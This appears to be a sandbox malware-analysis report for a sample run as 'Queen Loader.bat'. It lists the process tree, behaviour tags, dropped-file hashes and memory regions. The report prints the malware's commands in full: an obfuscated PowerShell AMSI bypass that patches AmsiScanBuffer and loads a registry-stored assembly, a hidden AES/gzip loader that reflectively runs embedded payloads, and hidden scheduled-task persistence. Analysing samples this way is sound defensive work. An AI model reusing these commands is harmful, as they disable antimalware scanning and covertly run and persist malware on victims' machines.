@([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$tCWeDoCzicp=$LEnQRauVjJwpI.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+'Mo'+[Char](100)+''+'u'+''+'l'+''+[Char](101)+'Ha'+'n'+'dle').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+'e'+''+'l'+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+'d'+'l'+'l'+'')));$ycwuvRJIQnjanA=$GQedneLYUSiMlH.Invoke($Null,@([Object]$tCWeDoCzicp,[Object]('L'+'o'+''+[Char](97)+''+[Char](100)+''+[Char](76)+'i'+[Char](98)+''+[Char](114)+''+[Char](97)+''+'r'+''+[Char](121)+'A')));$MVPYxmnBfztIDtlFA=$GQedneLYUSiMlH.Invoke($Null,@([Object]$tCWeDoCzicp,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+'tua'+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+'t'+''+[Char](101)+''+[Char](99)+'t')));$rnbQfBx=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ycwuvRJIQnjanA,$wxzAdGlchTlRSXAzXKO).Invoke('a'+[Char](109)+'si.'+'d'+''+'l'+''+[Char](108)+'');$vYOgJEtsrYmfGNWzj=$GQedneLYUSiMlH.Invoke($Null,@([Object]$rnbQfBx,[Object](''+[Char](65)+'m'+[Char](115)+''+'i'+'S'+[Char](99)+'a'+[Char](110)+'B'+[Char](117)+'f'+[Char](102)+''+[Char](101)+''+'r'+'')));$htkrCAunDV=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MVPYxmnBfztIDtlFA,$uBACIJYkwVYUyHWDIjYrSl).Invoke($vYOgJEtsrYmfGNWzj,[uint32]8,4,[ref]$htkrCAunDV);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$vYOgJEtsrYmfGNWzj,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MVPYxmnBfztIDtlFA,$uBACIJYkwVYUyHWDIjYrSl).Invoke($vYOgJEtsrYmfGNWzj,[uint32]8,0x20,[ref]$htkrCAunDV);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+'F'+[Char](84)+'W'+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+[Char](36)+'77st'+'a'+'g'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Queen Loader.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Queen Loader.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Queen Loader.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_134_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_134.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_134.vbs"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_134.bat" "5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_134.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_134.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\New.exe"C:\Users\Admin\AppData\Local\Temp\New.exe"7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77New.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\New.exe'" /sc onlogon /rl HIGHEST8⤵
- Creates scheduled task(s)
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\sysWOW64\wbem\wmiprvse.exeC:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding1⤵
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks processor information in registry
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.logFilesize
2KB
MD55dc9a9599fb11ee70f9164d8fea15abf
SHA185faf41a206f3fa8b469609333558cf817df2cda
SHA2563f033142ed64a5d1e1e19d11a710e22a32827e98922769497ed6bd6e452e44de
SHA512499407006c53a5f8e5b2b00dab734613762e66a9080504ab50d21e4c8a32b75d7308ccaa0cecfbeb7058044448a40912715da1f02ec72994596d567b515dcfca
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
17KB
MD5cd7b51fc93808bb92db6e25448700706
SHA1a26a4d5954d18830edc2267cb5051daa6282c7ef
SHA256dc5751d74af42e642422ae3250a5e1c4534433c6957c4aae9f851024cd8c5754
SHA51261bf7a9f8e42f14aa507ad1d538d107d08262a7c8aaf6650151420ee4ad967a59b8ce020f097a60af0a81cd1d280ce508b942334ba2313ebc24e43fbb65cf628
-
C:\Users\Admin\AppData\Local\Temp\Install.exeFilesize
163KB
MD5b51552b77057c2405f73bbbf9c89234a
SHA14793adbba023f90d2d2ad0ec55199c56de815224
SHA256720e6962d75e37e8b47b160c5b3f60433a341f00abf60041630116b26858fbb0
SHA512564f4104e6e398eeef8acc7ce7cab694b6eebbe4233b7cb359829242b949dc7c5bf124a550a4d0402eb7da19b8bec6c1f6753563b17a8ae36fb639be595b8d66
-
C:\Users\Admin\AppData\Local\Temp\New.exeFilesize
409KB
MD5cf570b21f42f0ce411b7c9961068931e
SHA1f92aa688a1dbd64a4585ecfe80a9c2d7f408c57d
SHA256d0c4045c70a0822806a4e56d7883821cd2c19362f1cfed3bcbdb1e1b8eb15234
SHA512de9dce8300656cd8531569011d043373193cbda125b738e66a5bf107178b48781d6dc88eea696b2074c352a1bf56a4693cfae62e668993ac24ce18aebfdcd684
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hlz2zrrc.ayx.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Roaming\startup_str_134.batFilesize
1002KB
MD5f6d5bfaee8a55ff72c7b453fda066d62
SHA17d737d53013990e5d05076b7206e43eb4793fc7f
SHA2563ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308
SHA512e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284
-
C:\Users\Admin\AppData\Roaming\startup_str_134.vbsFilesize
115B
MD5b05d306b33af9aa7a0d659d7dff16bec
SHA1229a881e9a1900f05445d18337ea0deee8f8ea6f
SHA2565bc18b1286fb36a74fe058481326eba5467432eb53a7d73ac89fde8df36ebd07
SHA512639317b239489750cd1543b265798f323d8b3cb5fac74c54e2cceaf49618ceb02d8e4a8a5e15a8977597eb88f2b6bd13caaac428d85e16f55bfddc386de53bc4
-
C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157Filesize
338B
MD5521a7a1f096d350efbf6b5b78837b34d
SHA134fc1ebde00200c7172502783c525b723e543cb0
SHA256d8de6b055234318654a355a7cd6e7dba342f4afdba4febcb203939eb097bd7f9
SHA51282f00e081b77fc02b0f0c640efcab89d7a16fcfac1028987b2f43a45bc2e9289628b8e5c4721c03d6b8d3ab955779640b5a995813a8599d82ce5d27fb92d38cb
-
C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187Filesize
412B
MD50b02d765f454bdc785eadea92c12f906
SHA1667ca2421ac38ec7b0e573389e48b98ef420e35c
SHA256d6506b38ed3113280483516a1a9dfda076b7807f83ef976d99d930fd41880de8
SHA512bf805e32a23ad0fd0e60888fbbefff6430cc7cff30bfafc7198e3af776b69249e3dc7f55086515f68ad198a120edf27c5f75d8344a6406cfa32cf9844256f369
-
memory/380-99-0x0000000000D30000-0x0000000000D9C000-memory.dmpFilesize
432KB
-
memory/452-174-0x00007FFCEDF70000-0x00007FFCEDF80000-memory.dmpFilesize
64KB
-
memory/452-168-0x00000234192A0000-0x00000234192CA000-memory.dmpFilesize
168KB
-
memory/452-173-0x00000234192A0000-0x00000234192CA000-memory.dmpFilesize
168KB
-
memory/552-158-0x000001AF06770000-0x000001AF0679A000-memory.dmpFilesize
168KB
-
memory/552-163-0x000001AF06770000-0x000001AF0679A000-memory.dmpFilesize
168KB
-
memory/552-164-0x00007FFCEDF70000-0x00007FFCEDF80000-memory.dmpFilesize
64KB
-
memory/632-133-0x0000016B29980000-0x0000016B299AA000-memory.dmpFilesize
168KB
-
memory/632-128-0x0000016B29980000-0x0000016B299AA000-memory.dmpFilesize
168KB
-
memory/632-126-0x0000016B29950000-0x0000016B29975000-memory.dmpFilesize
148KB
-
memory/632-134-0x00007FFCEDF70000-0x00007FFCEDF80000-memory.dmpFilesize
64KB
-
memory/632-127-0x0000016B29980000-0x0000016B299AA000-memory.dmpFilesize
168KB
-
memory/684-138-0x000001D1BAD90000-0x000001D1BADBA000-memory.dmpFilesize
168KB
-
memory/684-144-0x00007FFCEDF70000-0x00007FFCEDF80000-memory.dmpFilesize
64KB
-
memory/684-143-0x000001D1BAD90000-0x000001D1BADBA000-memory.dmpFilesize
168KB
-
memory/996-154-0x00007FFCEDF70000-0x00007FFCEDF80000-memory.dmpFilesize
64KB
-
memory/996-153-0x00000219F8260000-0x00000219F828A000-memory.dmpFilesize
168KB
-
memory/996-148-0x00000219F8260000-0x00000219F828A000-memory.dmpFilesize
168KB
-
memory/1408-27-0x0000000075290000-0x0000000075A41000-memory.dmpFilesize
7.7MB
-
memory/1408-52-0x00000000073B0000-0x0000000007446000-memory.dmpFilesize
600KB
-
memory/1408-53-0x0000000007330000-0x0000000007341000-memory.dmpFilesize
68KB
-
memory/1408-54-0x0000000075290000-0x0000000075A41000-memory.dmpFilesize
7.7MB
-
memory/1408-57-0x0000000075290000-0x0000000075A41000-memory.dmpFilesize
7.7MB
-
memory/1408-51-0x00000000071A0000-0x00000000071AA000-memory.dmpFilesize
40KB
-
memory/1408-50-0x0000000075290000-0x0000000075A41000-memory.dmpFilesize
7.7MB
-
memory/1408-49-0x0000000075290000-0x0000000075A41000-memory.dmpFilesize
7.7MB
-
memory/1408-48-0x0000000006FE0000-0x0000000007084000-memory.dmpFilesize
656KB
-
memory/1408-25-0x0000000075290000-0x0000000075A41000-memory.dmpFilesize
7.7MB
-
memory/1408-26-0x0000000075290000-0x0000000075A41000-memory.dmpFilesize
7.7MB
-
memory/1408-36-0x0000000006F70000-0x0000000006FA4000-memory.dmpFilesize
208KB
-
memory/1408-37-0x0000000071480000-0x00000000714CC000-memory.dmpFilesize
304KB
-
memory/1408-47-0x0000000075290000-0x0000000075A41000-memory.dmpFilesize
7.7MB
-
memory/1408-46-0x0000000006FB0000-0x0000000006FCE000-memory.dmpFilesize
120KB
-
memory/3512-119-0x00007FFD2DEE0000-0x00007FFD2E0E9000-memory.dmpFilesize
2.0MB
-
memory/3512-118-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/3512-123-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/3512-120-0x00007FFD2D2C0000-0x00007FFD2D37D000-memory.dmpFilesize
756KB
-
memory/3512-113-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/3512-116-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/3512-115-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/3512-114-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/3556-112-0x00007FFD2D2C0000-0x00007FFD2D37D000-memory.dmpFilesize
756KB
-
memory/3556-102-0x000001CBA00B0000-0x000001CBA00D2000-memory.dmpFilesize
136KB
-
memory/3556-111-0x00007FFD2DEE0000-0x00007FFD2E0E9000-memory.dmpFilesize
2.0MB
-
memory/3556-110-0x000001CBB87C0000-0x000001CBB87EA000-memory.dmpFilesize
168KB
-
memory/3724-100-0x00000000085E0000-0x00000000085F2000-memory.dmpFilesize
72KB
-
memory/3724-81-0x0000000008610000-0x00000000086A2000-memory.dmpFilesize
584KB
-
memory/3724-738-0x000000000A050000-0x000000000A05A000-memory.dmpFilesize
40KB
-
memory/3724-80-0x00000000083F0000-0x000000000845C000-memory.dmpFilesize
432KB
-
memory/3724-736-0x000000000A150000-0x000000000A18C000-memory.dmpFilesize
240KB
-
memory/5044-22-0x00000000086B0000-0x00000000087A2000-memory.dmpFilesize
968KB
-
memory/5044-5-0x0000000005680000-0x00000000056A2000-memory.dmpFilesize
136KB
-
memory/5044-20-0x00000000085C0000-0x00000000085DA000-memory.dmpFilesize
104KB
-
memory/5044-19-0x0000000008C40000-0x00000000092BA000-memory.dmpFilesize
6.5MB
-
memory/5044-18-0x00000000064B0000-0x00000000064FC000-memory.dmpFilesize
304KB
-
memory/5044-17-0x0000000006400000-0x000000000641E000-memory.dmpFilesize
120KB
-
memory/5044-16-0x0000000005F20000-0x0000000006277000-memory.dmpFilesize
3.3MB
-
memory/5044-7-0x0000000005EB0000-0x0000000005F16000-memory.dmpFilesize
408KB
-
memory/5044-6-0x0000000005E40000-0x0000000005EA6000-memory.dmpFilesize
408KB
-
memory/5044-21-0x0000000008580000-0x0000000008588000-memory.dmpFilesize
32KB
-
memory/5044-4-0x0000000075290000-0x0000000075A41000-memory.dmpFilesize
7.7MB
-
memory/5044-3-0x0000000075290000-0x0000000075A41000-memory.dmpFilesize
7.7MB
-
memory/5044-23-0x000000000A870000-0x000000000AE16000-memory.dmpFilesize
5.6MB
-
memory/5044-75-0x0000000075290000-0x0000000075A41000-memory.dmpFilesize
7.7MB
-
memory/5044-0-0x000000007529E000-0x000000007529F000-memory.dmpFilesize
4KB
-
memory/5044-2-0x0000000005720000-0x0000000005D4A000-memory.dmpFilesize
6.2MB
-
memory/5044-1-0x00000000030A0000-0x00000000030D6000-memory.dmpFilesize
216KB